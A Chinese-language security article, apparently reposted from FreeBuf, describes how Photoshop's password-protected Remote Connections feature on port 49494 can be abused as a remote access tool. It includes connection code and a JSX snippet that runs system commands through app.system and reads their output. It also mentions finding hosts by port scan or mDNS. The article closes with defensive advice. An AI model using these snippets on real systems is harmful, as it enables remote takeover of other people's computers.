search
尋找貓咪~QQ 地點 桃園市桃園區 Taoyuan , Taoyuan

如何把Photoshop改造成遠程控制工具(RAT)來利用

作者在本文中通過對Photoshop遠程連接功能的改造利用,最終實現了對開啟遠程連接功能的Photoshop端操作系統的接管控制。

Photoshop遠程連接功能說明

Photoshop中有一個名為遠程連接(Remote Connections)的可選功能,該功能默認是關閉的,但如果你啟用該功能並設置密碼后,任何知曉密碼的人就可以遠程接入到你電腦的Photoshop服務端。如下開啟畫面:

正常用戶利用該功能,來實時預覽不同PS文件在iPad或手機等遠程設備上的實際設計外觀樣式,該遠程預覽功能需要手機等移動終端安裝如PS Playon和Skala Preview等第三方APP來實現連接。如Skala Preview:

該遠程連接功能基於Photoshop的JSX腳本實例。JSX屬Photoshop的宏腳本,由Javascript語言編寫,以實現Photoshop的圖片載入、顏色渲染、矢量繪製和導出等功能,可點此查看JSX的相關編寫規範和可用介面。

另外,Adobe提供了一個開源庫內核生成器來建立該遠程連接,所以如果您對其中的協議細節有興趣,也可點此查看。當開啟遠程連接后,Photoshop將會對49494埠進行監聽:

$ netstat -an | grep 49494 tcp4 0 0 *.49494 *.* LISTEN

以下代碼為與遠程Photoshop服務端用來進行身份驗證交互的代碼:

const core = require("generator-core/lib/generator") const options = { host: '192.168.1.123', password: 'password', port: 49494 } const generator = core.createGenerator generator.start(options).done( => { generator.evaluateJSXString('alert("Hello")').then( => generator.shutdown) })

對此,我曾嘗試利用以下app.system方法來調用系統命令:

alert(app.system(「id」))

但遺憾的是其返回值卻是一些退出狀態碼,不是標準的命令輸出內容。經過研究,我發現Photoshop的JSX腳本具備系統訪問介面,所以,這樣一來,我們可以把其標準輸出內容(stdout)重定向到一個臨時文件中,之後,就可以對該文件進行讀取。如下所示:

var tmpFile = Folder.temp + 'output.txt'; app.system("id > " + tmpFile); var stdout = new File(${tmpFile}); stdout.open('r'); stdout.encoding = "UTF-8"; var content = stdout.read; stdout.close; stdout.remove; alert(content);

Photoshop RAT 改造成型

因此,我可以在上述身份驗證代碼中作出如下修改,通過用戶名密碼方式登錄遠程Photoshop服務端,之後,再利用JSX腳本介面間接執行Photoshop服務端系統命令,實現對遠程Photoshop服務端系統的直接接管控制。以下為exploit代碼:

exploit.js:

成功利用后,讀取遠程Photoshop服務端操作系統密碼:

影響分析

在內網中,你可以通過49494埠掃描或組播DNS」_photoshopserver.tcp」抓包來探測一些開啟遠程連接功能的Photoshop服務端,之後利用以上exploit.js進行把玩。

該功能的此種RAT方式利用,前提必須知曉對方Photoshop服務遠程連接密碼,因此並不屬於漏洞範疇。基於此,請謹慎開啟你的Photoshop遠程連接功能,或嚴格保存你的Photoshop遠程連接密碼,否則,你的操作系統有可能被不懷好意之人遠程控制。

*參考來源:medium,freebuf小編clouds編譯,轉載請註明來自FreeBuf.COM



熱門推薦

本文由 yidianzixun 提供 原文連結

寵物協尋 相信 終究能找到回家的路
寫了7763篇文章,獲得2次喜歡
留言回覆
回覆
精彩推薦